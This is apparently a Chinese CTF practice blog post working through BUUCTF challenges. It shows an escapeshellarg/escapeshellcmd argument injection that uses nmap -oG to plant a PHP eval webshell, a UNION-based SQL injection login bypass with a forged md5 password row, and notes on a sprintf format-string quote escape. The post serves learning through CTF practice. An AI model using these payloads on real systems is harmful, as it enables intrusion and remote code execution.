明天就是网鼎杯了,今天再继续刷(shui)题苟一下
[BUUCTF2018 Online Tool]
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
这题主要是escapeshellarg()和escapeshellcmd()两者同时使用而导致的漏洞。
https://blog.csdn.net/qq_26406447/article/details/100711933
传入的参数是:172.17.0.2' -v -d a=1
以上方法在Win下无法复现,因为在win下 escapeshellcmd 的转义是^符号
1.经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
2.经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
3.最后执行的命令是curl '172.17.0.2'\'' -v -d a=1\',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
之后会执行 nmap -T5 -sT -Pn --host-timeout 2 -F
+$host ,就可以利用nmap的 -oG 参数来传入我们要的代码了。这边为了方便就使用一句话木马。payload是 ' <?php @eval($_POST["c"]);?> -oG hack.php ' ,这边不能用GET是因为貌似有waf,之后直接用菜刀连接就可以了。
https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html
[极客大挑战 2019]EasySQL
[极客大挑战 2019]LoveSQL
这两题是无waf的SQL,拿来练练手的~详细过程就不写了
[GXYCTF2019]BabySQli
这题是一个比较有意思的点。首先在提交表单后的源代码里面有一段提示,Base32-->Base64以后就可以得到
select * from user where username = '$name'
猜测后面代码的逻辑是判断这个select取出来的数组,例如这样的
id | username | password |
1 | admin | pwd |
fuzz一下,这个题目ban掉了括号。
但是这个取用方式导致了我们可以直接union一个假的数据上去。经过一番测试,基本上确定第二列是用户名(应该是admin),第三列是密码(尝试后发现是md5加密的)。
我们构造payload:z' union select 'a','admin','0cc175b9c0f1b6a831c399e269772661'#
密码:a 就可以直接bypass这个登陆,获得flag了。原理就是在union之后,这个select得到的结果集实际上是我们union上去的数据:(a的md5值是 0cc175b9c0f1b6a831c399e269772661 )
a | admin | 0cc175b9c0f1b6a831c399e269772661 |
在后面的判断中就可以直接通过。这边把他题目的源码po在这,可以研究下:
if(preg_match("/\(|\)|\=|or/", $name)){ die("do not hack me!"); } else{ if (!$result) { printf("Error: %s\n", mysqli_error($con)); exit(); } else{ // echo '<pre>'; $arr = mysqli_fetch_row($result); // print_r($arr); if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; } else{ die("wrong pass!"); } } else{ die("wrong user!"); } } }
sprintf格式化字符串漏洞
这也是今天看到的比较有意思的东西
https://blog.csdn.net/weixin_41185953/article/details/80485075
http://47.94.45.245/2020/05/08/sprintf%e6%a0%bc%e5%bc%8f%e5%8c%96%e5%ad%97%e7%ac%a6%e4%b8%b2/
sprintf() 函数的功能是把格式化的字符串写入变量中。
php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:
sprintf()函数没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空。
%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。
后面的好多实例也就没来得及去研究了,下次有机会单独写一篇文章QAQ
网鼎杯明天就开始了,这样每日打卡的文估摸着就没了,但是以后还是会继续分享一些质量更高的技术文吧~~
Comments | NOTHING